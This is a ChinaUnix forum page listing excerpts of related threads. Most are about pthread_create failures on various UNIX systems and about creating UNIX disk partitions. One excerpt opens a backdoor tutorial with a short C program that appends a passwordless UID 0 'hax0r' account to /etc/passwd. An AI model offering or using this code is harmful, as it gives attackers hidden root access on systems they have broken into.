ChinaUnix.net
相关文章推荐:

unix c 怎么创建线程

void * child(void *args) { printf("child thread start\n"); int tid = pthread_self(); printf("thread %d enter\n", tid); printf("child thread end\n"); } int main(void) { printf("main thread start\n"); for(;;) { pthread_t pt; int ret = pthread_create(&pt, NULL, child, NULL ); printf("main thread create thread the ret =%d...

by sunday1207 - C/C++ - 2007-03-05 22:52:58 阅读(1488) 回复(2)

相关讨论

tst_thread.c #include #include void *thread(void) { int i; for(i=0;i<3;i++) printf("This is a pthread.\n"); } int main(void) { pthread_t id; pthread_attr_t *attr ; sched_param param ; pthread_attr_init(attr) ; //pthread_attr_getschedparam(attr,¶m) ; //param.sched_priority = 3 ; //pthread_attr_setschedparam(attr,¶m) ; int...

by bjtubin - C/C++ - 2006-11-21 17:14:09 阅读(1425) 回复(6)

我想在sco unix下调用pthreads线程库,但是没有找到头文件,请问是否可以使用这个线程库,如果要线程编程,该怎么做?

by hustwind - 其他UNIX - 2004-06-25 14:10:56 阅读(1014) 回复(2)

hp unix下面 执行pthread_create(tTid, &attr, tEntry, lpArgv); 就有信号SIGBUS产生,因而产生异常,同样的程序在 solaris ,aix下则正常,各位大虾,请问是什么问题阿?

by xia603wuchao - HP-UX - 2004-11-12 10:04:37 阅读(1159) 回复(1)

我曾经作了好几次尝试,在solaris8和hp系统中调用线程,但是线程创建不起来,在solaris中返回-1,而在hp系统中返回251,这是为什么? #include ; #include ; #include ; void Thread_handler(void); int main(void) { pthread_t thread1; int RetCode; RetCode=pthread_create(&thread1, NULL,(void*)&Thread_handler, NULL); printf("RetCode=%d\n",RetCode); ...

by kuangzy - C/C++ - 2003-11-20 22:10:13 阅读(3035) 回复(10)

rt,找了若干资料,都是op 5.0.5的,没法用上

by sqlnet - 其他UNIX - 2006-05-18 11:28:13 阅读(1028) 回复(2)

unix下,wb好象是没有作用了,

by howardlea - C/C++ - 2003-07-22 08:54:55 阅读(3143) 回复(12)

rc=pthread_create(&thread1,&tattr,&WatchdogThread,(void*)&MyPID ); Here the call of pthread_create() fails with a return code of -1 but errno is 0 so that I don't have an idea what the problem could be. Does anybody have an idea?

by crazy_li - C/C++ - 2007-03-12 10:31:05 阅读(889) 回复(0)

:cry::evil:我的硬盘是20G。 已经装了XP,再装unix。 现在进行到如下界面 1.Display patition table 2.Use entire disk for unix(整个硬盘给unix) 3.Use rest of disk for unix(把剩余空间给unix) 4.Create unix patition(创建unix分区) 5.Active(激活刚分的区) 6.Delete(删除) 7.Create(创建) 我选择了4 Current Hard Disk Drive:/dev/rdsk/0s0 Partition Status Type Start End ...

by wswqqy - 其他UNIX - 2006-07-17 10:39:41 阅读(1721) 回复(2)

初级篇 最简单的方法,就是在口令文件 passwd 中增加一个 UID 为 0 的帐号。但最好别这么做,因为只要系统管理员检查口令文件就会“漏馅”了。以下是在 /etc/passwd 口令文件中添加一个 UID 0 帐号的C程序。 <++>; backdoor/backdoor1.c #include main() { FILE *fd; fd=fopen("/etc/passwd","a+"); fprintf(fd,"hax0r::0:0::/root:/bin/sh\n"); } <-->; 比这种方法稍微隐蔽一点的就是将藏在口令文件中某个无人使用帐号...

by 绣林 - 其他UNIX - 2004-09-30 17:23:40 阅读(939) 回复(3)

怎样创建unix分区? 我的机子已经装了WINME,现在想装unix,还不想破坏原系统, 在WIN下有2G的硬盘空间可以用来装unix, 如何做?

by 飞过海 - 其他UNIX - 2003-05-27 18:28:06 阅读(943) 回复(2)